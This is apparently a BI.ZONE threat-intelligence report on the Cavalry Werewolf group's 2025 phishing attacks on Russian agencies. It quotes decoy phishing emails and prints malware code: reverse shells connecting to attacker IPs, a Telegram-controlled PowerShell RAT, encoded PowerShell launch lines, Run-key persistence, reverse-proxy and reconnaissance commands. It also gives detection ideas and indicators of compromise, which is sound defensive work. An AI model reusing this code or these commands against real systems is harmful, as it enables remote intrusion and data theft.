

Cavalry Werewolf raids Russia's public sector with trusted relationship attacks

By BI.ZONE

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[BI.ZONE Threat Intelligence](#) recorded Cavalry Werewolf* activity from May to August 2025.

In order to gain initial access, the attackers sent out targeted phishing emails disguising them as official correspondence from Kyrgyz government officials. The main targets of the attacks were Russian state agencies, as well as energy, mining, and manufacturing enterprises.

Cavalry Werewolf relied on the malware of its own design: FoalShell reverse shells and StallionRAT (remote access trojans) controlled via Telegram.

*Aliases: YoroTrooper, SturgeonPhisher, Silent Lynx, Comrade Saiga, Tomiris, ShadowSilk

Key findings

- Cavalry Werewolf is actively experimenting with expanding its arsenal. This highlights the importance of having quick insights into the tools used by the cluster, otherwise it would be impossible to maintain up-to-date measures to prevent and detect such attacks.
- Attackers can not only impersonate officials but also actually compromise their email accounts for phishing. Therefore, it is critical to carefully check both the sender and the content: text, links, and attachments.
- Even if attacks are not made public, that does not mean they do not exist. Cyber intelligence portals allow for quick access to up-to-date information about the cyber threat landscape in the region and effective prioritization of defenses.

Campaign

Phishing


In their targeted phishing campaigns against Russian organizations, Cavalry Werewolf used fake email addresses of employees from Kyrgyz agencies, for example:

- Ministry of Economy and Commerce
- Ministry of Culture, Information, Sports and Youth Policy
- Ministry of Transport and Communications


The phishing emails contained a RAR with either FoalShell or StallionRAT malware.

In one of the phishing mailings, the attackers used a real email address found on the website of the Kyrgyz Republic's regulatory authority. It is likely that the attackers had compromised this address earlier to use in future attacks.


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


ВНИМАНИЕ! Данное письмо поступило от внешнего отправителя. Не переходите по ссылкам, не скачивайте и не открывайте вложения, пока не убедитесь, что это безопасно.

Уважаемые коллеги!
В рамках подготовки к совещанию на площадке **Агентство Правительства Российской Федерации** по вопросу отнесения реализуемых на территории **Агентства Правительства Российской Федерации** проектов к проектам, оказывающим существенное влияние на социально-экономическое развитие СФО, просим представить позицию по проектам, перечисленным во вложенном файле.
Пароль: **12345678**

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Служебная записка



Уважаемые Коллеги!

Направляю служебную записку, по указанию руководства.
Доступ к архиву: **123456789**
С уважением,
Служба Численности
Отдел кадров

Examples of phishing emails

Threat hunting

When searching for threats, you can track the creation of suspicious archives with names similar to document names in the `%LocalAppData%\Microsoft\Windows\INetCache\Content.Outlook` directory.

This folder stores files downloaded to the Outlook client on a user's host.

FoalShell

FoalShell is a simple reverse shell used by Cavalry Werewolf, written in Go, C++, and C#. FoalShell allows attackers to execute arbitrary commands in the `cmd.exe` command line interpreter on a compromised host.

FoalShell C#

The source code of the .NET application is simple: essentially, it is a standard reverse shell that operates via `cmd` with input and output thread redirection. As a result, the attacker gains access to the command line on the victim's remote device and can execute any command. The `cmd.exe` window runs in hidden mode. If input/output errors or socket failures occur, the application automatically terminates.

Known file names:

- О результатах трёх месяцев совместной работы [redacted].exe (three-month results of joint operations)
- Список сотрудников выдвинутых к премии ко Дню России.exe.exe (shortlist of employees to receive bonuses)
- Приказ о поощрении сотрудников ко дню России (Т-11а) №1 от 30.05.2025.exe (employee incentive order)
- О ПРЕДОСТАВЛЕНИИ ИНФОРМАЦИИ ДЛЯ ПОДГОТОВКИ СОВЕЩАНИЯ.exe (information to be provided prior a meeting)
- О работе почтового сервера план и проведенная работа.exe (scheduled and completed works on the mail server)
- О проведении личного приема граждан список участников.exe (list of attendants to conduct appointments with the citizens)
- Службная записка от 16.06.2025_____ .exe (memo)

Detected PDB paths:

- C:\Users\yaadzrr\Documents\reverseShells\Reverse-Shell-CS\Payload\Real_cli\obj\Release\Docu_rsnet.pdb
- C:\Users\yueying\Documents\reverseShells\Reverse-Shell-CS\Payload\Real_cli\obj\Release\NetChecker.pdb

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```
TcpClient tcpClient = new TcpClient("188.127.225.191", 443);
NetworkStream stream;
for (;;)
{
    stream = tcpClient.GetStream();
    text = "shell>";
    byte[] bytes = Encoding.Default.GetBytes(text);
    stream.Write(bytes, 0, bytes.Length);
    byte[] array = new byte[1024];
    int num = stream.Read(array, 0, array.Length);
    Array.Resize<byte>(ref array, num);
    string @string = Encoding.Default.GetString(array);
    if (@string == "exit\n")
    {
        break;
    }
    Process process = new Process();
    process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
    process.StartInfo.CreateNoWindow = true;
    process.StartInfo.FileName = "cmd.exe";
    process.StartInfo.Arguments = "/c " + @string;
    process.StartInfo.RedirectStandardOutput = true;
    process.StartInfo.RedirectStandardError = true;
    process.StartInfo.UseShellExecute = false;
    process.Start();
    string text2 = process.StandardOutput.ReadToEnd();
    string text3 = process.StandardError.ReadToEnd();
    byte[] bytes2 = Encoding.Default.GetBytes(text2);
    byte[] bytes3 = Encoding.Default.GetBytes(text3);
    stream.Write(bytes2, 0, bytes2.Length);
    stream.Write(bytes3, 0, bytes3.Length);
}
stream.Close();
tcpClient.Close();
```

C# code snippet from FoalShell reverse shell

Using the build ID `8923c4d9-3fbf-4cf3-8a63-c5102293b774` , namespace, and code structure, we were able to find the GitHub repository* with the original design used as the basis for this malware.

* [“xcyraxx/Reverse-Shell-CS,” GitHub](#)

FoalShell Cpp

Here, the adversaries used a C++ launcher containing a shellcode and an obfuscated FoalShell reverse shell inside a resource called `output_bin` . When started up, the launcher reads the resource, at the same time, a memory space is allocated using the WinAPI function `VirtualAlloc` with `RWE` permissions. Then the resource contents are copied to the allocated memory and the shellcode is executed, which deobfuscates the main reverse shellcode and transfers control to it using the WinAPI function `ZwResumeThread` .

Known file names:

- О работе почтового сервера план и проведенная работа.exe (scheduled and completed works on the mail server)
- Программный офис Управления Организации Объединенных Наций по наркотикам и преступности (УНП ООН).exe (UNO Drugs and Crime Office)
- План-протокол встречи о сотрудничестве представителей должн.лиц.exe (meeting agenda for cooperation between officials)
- Аппарат Правительства Российской Федерации по вопросу отнесения реализуемых на территории Сибирского федерального округа.exe (classification of projects in the Siberian Federal District)
- Информация по письму в МИД от 6 июля статус и прилагаемые документы.exe (letter and attachments to the Ministry of Internal Affairs)
- О проведении личного приема граждан список участников план и проведенная работа.exe (list of attendants to conduct appointments with the citizens)

PDB path:

- C:\Users\Professional\Source\Repos\bin_loader\x64\Release\bin_loader.pdb

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
    HRSRC ResourceW; // rbx
    DWORD v4; // edi
    HGLOBAL Resource; // rax

    ResourceW = FindResourceW(0LL, (LPCWSTR)0x65, L"output_bin");
    v4 = SizeofResource(0LL, ResourceW);
    Resource = LoadResource(0LL, ResourceW);
    sub_1400011C0(Resource, v4);
    return 0;
}
```

output_bin resource with FoalShell Cpp reverse shell payload

The main reverse shellcode uses network sockets, runs cmd.exe in hidden mode, and redirects input/output threads to the console, allowing the cluster to execute arbitrary commands on the victim's remote host.

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```

int __fastcall main(int argc, const char **argv, const char **envp)
{
    FreeConsole();
    WSASStartup(0x202u, &WSAData);
    s = WSASocketA(2, 1, 6, 0LL, 0, 0);
    name.sa_family = 2;
    *(_WORD *)name.sa_data = htons(0x18Bu);
    *(_DWORD *)&name.sa_data[2] = inet_addr("109.172.85.63");
    WSAConnect(s, &name, 16, 0LL, 0LL, 0LL, 0LL);
    memset(&StartupInfo, 0, sizeof(StartupInfo));
    StartupInfo.cb = 104;
    StartupInfo.dwFlags = 257;
    StartupInfo.hStdError = (HANDLE)s;
    StartupInfo.hStdOutput = (HANDLE)s;
    StartupInfo.hStdInput = (HANDLE)s;
    CreateProcessA(0LL, (LPSTR)"cmd.exe", 0LL, 0LL, 1, 0, 0LL, 0LL, &StartupInfo, &ProcessInformation);
    return 0;
}

```

Main FoalShell Cpp reverse shell code

FoalShell Go

This version of the reverse shell, implemented in Go, establishes a connection with a remote control server and provides the attackers with hidden access to the command line of the victim's computer.

Known file names:

- Служебная записка от 20.08.2025[multiple spaces].exe (memo)
- Служебная записка от 12.08.2025[multiple spaces].exe (memo)
- Аппарат Правительства Российской Федерации по вопросу отнесения реализуемых на территории Сибирского федерального округа проектов к проектам.exe (classification of projects in the Siberian Federal District)

Project path:

- C:\source\repos\ggg

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```

while ( (unsigned __int64)&retaddr <= *(_QWORD *) (v4 + 16) )
    runtime_morestack_noctxt();
v44 = net_Dial((unsigned int)&unk_51863A, 3, (unsigned int)"62.113.114.209:443", 18, v0, v1, v2, v3);
v45 = (_ptr_exec_Cmd)os_exec_Command(
    (unsigned int)"cmd.exewindowsrunning",
    7,
    0,
    0,
    0,
    v5,
    v6,
    v7,
    v8,
    v38,
    v40,
    v42,
    v43);
p_syscall_SysProcAttr = (syscall_SysProcAttr *)runtime_newobject(&RTYPE_syscall_SysProcAttr);
p_syscall_SysProcAttr->HideWindow = 1;
v11 = v45;

```

Go code snippet from FoalShell reverse shell

Threat hunting

Idea for hypothesis

When searching for threats, monitor processes with the executable file `cmd.exe` launched by a suspicious parent process.

These may include:

processes typically used by malicious actors and stored in the following folders:

- `%Temp%`
- `%LocalAppData%`
- `%AppData%\Roaming`
- `C:\Users\Public`
- `%UserProfile%\Downloads`
- `%UserProfile%\Desktop`

parent processes with a short lifetime on the host

processes with names mimicking document names

StallionRAT

This is a group of remote access trojans written in Go, PowerShell, and Python, used by Cavalry Werewolf. StallionRAT allows attackers to execute arbitrary commands, load additional files, and exfiltrate collected data. The cluster uses a Telegram bot as their C2 server.

Known file names:

- `Аппарат Правительства Российской Федерации по вопросу отнесения реализуемых на территории Сибирского федерального округа.exe` (classification of projects in the Siberian Federal District)

Discovered PDB path:

- `C:\Users\Admin\source\repos\ConsoleApplication3\x64\Release\ConsoleApplication3.pdb`

In this campaign, the attackers employed a launcher written in C++ to run an instance of the StallionRAT malware in PowerShell. The launcher executes PowerShell with a Base64-encoded command.

The command line argument format is as follows:

```
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjAGgAYQB0AF8AaQBkACAAPQAgA
```

The execution of this PowerShell command launches StallionRAT, which is controlled via Telegram.

Threat detection

In the effort to detect suspicious activity, you can configure a correlation rule for `powershell.exe` process runs with the `-EncodedCommand` parameter, as attackers often use Base64 encoding to bypass security mechanisms and correlation rules. This activity may also be typical for administrators, but such actions can be excluded from the correlation rule.

Threat hunting

To detect threats related to this activity, search for `powershell.exe` startup events with the parameters `-WindowState Hidden` and `-ExecutionPolicy Bypass`. These parameters can be used by the adversary to secretly run code and bypass defenses. However, unlike the detection idea above, many legitimate programs also use these commands, which are quite difficult to filter out on a regular basis.

At the initialization stage, StallionRAT assigns `DeviceID` to the compromised host. `DeviceID` is a random number between 100 and 10,000. The malware also obtains the computer name using `$env:COMPUTERNAME`.

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In an infinite loop (`while True`), the `getUpdates` function is constantly called to receive new commands and messages from the Telegram bot. The results of command execution and error messages are sent to a designated Telegram chat specified in the StallionRAT code.

RAT commands:

- `/list` receives a list of compromised hosts connected to the C2. Returns a list containing the `DeviceID` and computer name.
- `/go [DeviceID] [command]` executes the given command using `Invoke-Expression`.
- `/upload [DeviceID]` loads a file to the victim's device via `Download-TelegramFile` and saves to `C:\Users\Public\Libraries\%fileName%`.

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```
if ($message -eq "/list") {
    $deviceList = "Devices:"
    if ($clients.Count -gt 0) {
        foreach ($userId in $clients.Keys) {
            $deviceList += "`nID: $($clients[$userId].DeviceId) - $($clients[$userId].ComputerName)"
        }
    } else {
        $deviceList = "X devices"
    }
    Send-TelegramMessage $deviceList
}

if ($message -like "/go*") {
    if ($message.StartsWith("/go")) {
        try {
            $parts = $message.Substring(3).Trim() -split ' ', 2

            if ($parts.Length -gt 1) {
                $targetDevice = $parts[0]
                $command = $parts[1]

                if ([int]::TryParse($targetDevice, [ref]$null)) {
                    $targetDevice = [int]$targetDevice

                    $userIdForDevice = $clients.Keys | Where-Object { $clients[$_].DeviceId -eq $targetDevice }

                    if ($userIdForDevice) {
                        $chat_id_for_device = $clients[$userIdForDevice[0]].ChatId

                        try {
                            $output = Invoke-Expression $command 2>&1
                            $output = $output | Out-String

                            Send-TelegramMessage " ID ${targetDevice}:`n$output"
                        } catch {
                            Send-TelegramMessage "Error executing command on device ID ${targetDevice}: $_"
                        }
                    } else {
                        Start-Sleep -Seconds $randomSeconds
                    }
                } else {
                    Send-TelegramMessage "Incorrect command format."
                }
            } catch {
                Send-TelegramMessage "Failed to parse the command. $_"
            }
        }
    }
}

if ($messageupload -like "/upload*") {
    if ($messageupload.StartsWith("/upload")) {
        try {
            $deviceId = $messageupload.Substring(7).Trim()
        }
    }
}
```

StallionRAT code snippet responsible for command execution

After examining additional information, we discovered commands executed by StallionRAT on one of the compromised hosts with the ID 9139 . These commands indicate that the RAT was delivered to the C:\Users\Public\Libraries directory and added to startup through the Run registry key:

```
'win.exe' successfully uploaded >> C:\Users\Public\Libraries\win.exe.
/go9139 REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinRVN /t REG_SZ /d C:\users\p
```

Furthermore, the identified commands presented below indicate the use of SOCKS5 proxying tools: ReverseSocks5Agent and ReverseSocks5*.

[“Acebond/ReverseSocks5: Single executable reverse SOCKS5 proxy written in Golang,” GitHub](#)

```
/go9139 C:\users\public\libraries\rev.exe -pcl 96.9.125[.]168:443  
/go9139 C:\users\public\libraries\rev.exe -pcl 78.128.112[.]209:10443  
/go9139 C:\users\public\libraries\revv2.exe -connect 96.9.125[.]168:443  
/go9139 C:\users\public\libraries\revv2.exe -connect 78.128.112[.]209:10443
```

In addition, there were commands executed to collect information about the compromised host:

```
/go9139 ipconfig /all  
/go9139 netstat  
/go9139 whoami  
/go9139 ls C:\users\public\libraries  
/go9139 ping 10.70.70.10  
/go9139 net user /dom
```

Threat hunting

When searching for the suspicious activity described above, focus on the following hypotheses:

search for and analyze file create events in the `C:\Users\Public\Libraries\` folder, as well as process launch events in the said folder

search for suspicious file pin events in the `\Software\Microsoft\Windows\CurrentVersion\Run` registry hive by using the `reg.exe` registry utility and the `add` command, or leveraging the registry modification tracking functionality offered by EDR solutions, among others

search for environment exploration events with commands such as `whoami` , `netstat` , `ipconfig` , which are run by suspicious parent processes and users who have never applied such commands before

Analysis of additional information

The investigation revealed additional information related to Cavalry Werewolf preparing for attacks and testing malicious programs.

In the first case, the discovered files indicate preparations for an attack against Russian companies, as well as a file in the Tajik language `C:\Users\Admin\Desktop\Ҳомеҷҳои корпаixo new.rar` , which may be evident of the attackers also targeting Tajikistan.

Besides, there is reason to believe that, in addition to the identified malware, the attackers may have used other tools, such as AsyncRAT. This is indicated by the path: `C:\Users\Admin\Desktop\Async Rust RAT_0.1.0_x64_en-US.msi` .

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```
C:\Users\Admin\Desktop\1.pdf
C:\Users\Admin\Desktop\25-06-2025_12-32-29.docx[множество пробелов].rar
C:\Users\Admin\Desktop\25-06-2025_12-32-29.rar
C:\Users\Admin\Desktop\9th_OPEC_international_seminar_AUSTRIA.exe
C:\Users\Admin\Desktop\9th_OPEC_international_seminar_AUSTRIA_9_10.07.2025.rar
C:\Users\Admin\Desktop\Agreements.iso
C:\Users\Admin\Desktop\Agreements.zip
C:\Users\Admin\Desktop\AnyToISO.lnk
C:\Users\Admin\Desktop\Async Rust RAT_0.1.0_x64_en-US.msi
C:\Users\Admin\Desktop\BSP остатки по банкам на конец 01.07.2025.xlsx
C:\Users\Admin\Desktop\CamScanner 17.07.2025-15-12-47.iso
C:\Users\Admin\Desktop\desktop.ini
C:\Users\Admin\Desktop\ExecCom.exe
C:\Users\Admin\Desktop\Export_IRIX_2018_01_en.html
C:\Users\Admin\Desktop\index.html
C:\Users\Admin\Desktop\index.rar
C:\Users\Admin\Desktop\myData.wim
C:\Users\Admin\Desktop\New Internet Shortcut.url
C:\Users\Admin\Desktop\osnovi_-peres.xlsx.7z
C:\Users\Admin\Desktop\osnovi_-peres.xlsx.rar
C:\Users\Admin\Desktop\Project_Docs.pdf.exe
C:\Users\Admin\Desktop\Project_Docs.rar
C:\Users\Admin\Desktop\Project_Docs.zip
C:\Users\Admin\Desktop\tdrop.rar
C:\Users\Admin\Desktop\Исх. №2512-3-29 от 30.06.2025.docx[множество пробелов].exe
C:\Users\Admin\Desktop\Исх. №2512-3-29 от 30.06.2025.rar
C:\Users\Admin\Desktop\Номерхои коргархо new.rar количество сотрудников new
C:\Users\Admin\Desktop\Остатки по банкам и Сводный реест за июнь-июль.rar
C:\Users\Admin\Desktop\План предупреждения и ликвидации ЧС на 2025_2027_г.docx[множество пробелов].rar
```

File paths on the adversary's computer

In the second case, besides the files named in English, we found files named in Arabic. This suggests that the attackers might be targeting countries in the Middle East. Thus, the span of Cavalry Werewolf attacks is quite broad and not limited to Russia, other CIS countries, and regions where their malicious activity has been recorded.

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```
C:\Users\Administrator\Desktop\.txt.rar
C:\Users\Administrator\Desktop\888.rar
C:\Users\Administrator\Desktop\client.py
C:\Users\Administrator\Desktop\client2Attack.py
C:\Users\Administrator\Desktop\desktop.ini
C:\Users\Administrator\Desktop\documents.rar
C:\Users\Administrator\Desktop\emails.txt
C:\Users\Administrator\Desktop\email_template - Copy.html
C:\Users\Administrator\Desktop\email_template.html
C:\Users\Administrator\Desktop\Export_IRIX_2018_01_en.html
C:\Users\Administrator\Desktop\index.htm
C:\Users\Administrator\Desktop\info_material_NLC_GCAA_2025-07-15.rar
C:\Users\Administrator\Desktop\info_material_NLC_LTA_2025-07-15.pdf.exe
C:\Users\Administrator\Desktop\info_material_NLC_LTA_2025-07-15.rar
C:\Users\Administrator\Desktop\info_material_NLC_MEEDG_2025-07-15.rar
C:\Users\Administrator\Desktop\info_material_NLC_MFA_GE_2025-07-15.rar
C:\Users\Administrator\Desktop\International Criminal Justice.rar
C:\Users\Administrator\Desktop\International_Criminal_Justice_SESI2025.rar
C:\Users\Administrator\Desktop\Internship Program Overview – International Criminal Justice.pdf.exe
C:\Users\Administrator\Desktop>Note Verbale No. (58.1.6)SNR58-268 (البيان الصادر بالعربية).rar
C:\Users\Administrator\Desktop\PE Explorer.lnk Заявление на арабском языке
C:\Users\Administrator\Desktop\putty-64bit-0.83-installer.msi
C:\Users\Administrator\Desktop\release_svc_prod3.231018_1809.exe
C:\Users\Administrator\Desktop\release_svc_prod3.231018_1809.zip
C:\Users\Administrator\Desktop\Telegram.lnk
C:\Users\Administrator\Desktop\US Defense Intelligence Agency.rar
C:\Users\Administrator\Desktop\Visual Studio Code.lnk
C:\Users\Administrator\Desktop\WindowsUpdate.log Регуляторный контроль за посещением
C:\Users\Administrator\Desktop\WinSCP.lnk приграничной зоны, прилегающей к сектору Газа
C:\Users\Administrator\Desktop\الضوابط التنظيمية لزيارة المنطقة الحدودية المعاذية لقطاع غزة.bat
C:\Users\Administrator\Desktop\الضوابط التنظيمية لزيارة المنطقة الحدودية المعاذية لقطاع غزة.rar
```

File paths on the adversary's computer

Indicators of compromise

Archives

- 27a11c59072a6c2f57147724e04c7d6884b52921da2629fb0807e0bb93901cbc
- 3cd7f621052919e937d9a2fdd4827fc7f82c0319379c46d4f9b9dd5861369ffc
- c3df16cce916f1855476a2d1c4f0946fa62c2021d1016da1dc524f4389a3b6fa
- e15f1a6d24b833ab05128b4b34495ef1471bd616b9833815e2e98b8d3ae78ff2
- dae3c08fa3df76f54b6bae837d5abdc309a24007e9e6132a940721045e65d2bb
- 8404f8294b14d61ff712b60e92b7310e50816c24b38a00fcc3da1371a3367103
- 8e6d7c44ab66f37bf24351323dc5e8d913173425b14750a50a2cbea6d9e439ba
- fa6cdd1873fba54764c52c64eadca49d52e5b79740364ef16e5d86d61538878d
- 0e7b65930bc73636f2f99b05a3bb0af9aaf17d3790d0107eb06992d25e62f59d
- c9ffbe942a0b0182e0cd9178ac4fbf8334cae48607748d978abf47bd35104051
- 04769b75d7fb42fbbce39d4c4b0e9f83b60cc330efa477927e68b9bdba279bb8

7da82e14fb483a680a623b0ef69bc fbd9aaaedf3ec26f4c34922d6923159f52f

FoalShell

c26b62fa593d6e713f1f2ccd987ef09fe8a3e691c40eb1c3f19dd57f896d9f59

1dfe65e8dc80c59000d92457ff7053c07f272571a8920dbe8fc5c2e7037a6c98

a8ada7532ace3d72e98d1e3c3e02d1bd1538a4c5e78ce64b2fe1562047ba4e52

cc9e5d8f0b30c0aaeb427b1511004e0e4e89416d8416478144d76aa1777d1554

ec80e96e3d15a215d59d1095134e7131114f669ebc406c6ea1a709003d3f6f17

8e7fb9f6acfb9b08fb424ff5772c46011a92d80191e7736010380443a46e695c

b13b83b515ce60a61c721afd0aeb7d5027e3671494d6944b34b83a5ab1e2d9f4

af3d740c5b09c9a6237d5d54d78b5227cdaf60be89f48284b3386a3aadeb0283

4f17a7f8d2cec5c2206c3cba92967b4b499f0d223748d3b34f9ec4981461d288

22ba8c24f1aefc864490f70f503f709d2d980b9bc18fece4187152a1d9ca5fab

148a42ccaa97c2e2352dbb207f07932141d5290d4c3b57f61a780f9168783eda

7084f06f2d8613dfe418b242c43060ae578e7166ce5aeed2904a8327cd98dbdf

ab0ad77a341b12cfc719d10e0fc45a6613f41b2b3f6ea963ee6572cf02b41f4d

6b290953441b1c53f63f98863aae75bd8ea32996ab07976e498bad111d535252

StallionRAT

cc84bfd6e996b67d8bc812cf08674e8eca6906b53c98df195ed99ac5ec14a06

ReverseSocks5

fbf1bae3c576a6fcfa86db7c36a06c2530423d487441ad2c684cfeda5cd19685

ReverseSocks5Agent

a3ec2992e6416a3af54b3aca3417cf4a109866a07df7b5ec0ace7bd1bf73f3c6

Network indicators

188.127.225[.]191:443

94.198.52[.]200:443

91.219.148[.]93:443

185.244.180[.]169:443

109.172.85[.]95:443

185.231.155[.]111:443

185.173.37[.]67:443

188.127.227[.]226:443

62.113.114[.]209:443

96.9.125[.]168:443

78.128.112[.]209:10443

MITRE ATT&CK

Detection

The [BI.ZONE TDR](#) rules below can help organizations detect the described malicious activity:

- win_suspicious_powershell_encoded_command
- gen_ti_wolfs_network_ioc_was_detected
- gen_ti_wolfs_hash_was_detected
- win_discovery_owner_and_users_system
- win_discovery_system_network_configuration
- win_discovery_network_connections
- win_th_start_hidden_powershell

How to protect your company from such threats

Phishing still ranks first among the attack vectors: adversaries rely on the recipient's carelessness to distribute malware via emails.

You can leverage dedicated services such as [BI.ZONE Mail Security](#) to filter out unwanted messages and protect your email communications. Immediately after installation, more than 100 protection mechanisms are activated: against spam, phishing, spoofing, mail server vulnerabilities, and malware attacks. Filtering uses statistical, signature, linguistic, content, heuristic analysis, and machine vision. The ML model accurately classifies emails by content and adjusts their ratings. As a result, illegitimate emails are blocked, while secure emails are delivered without delay.

To build effective cyber defense, it is essential to understand which threats are relevant to your organization. [BI.ZONE Threat Intelligence](#) can greatly simplify this task. The portal provides information about the current

attacks, threat actors, their methods, tools, as well as data from underground resources. This intelligence helps you stay proactive and accelerate your incident response.

Source: <https://bi-zone.medium.com/cavalry-werewolf-raids-russias-public-sector-with-trusted-relationship-attacks-e19f7a5c83ef>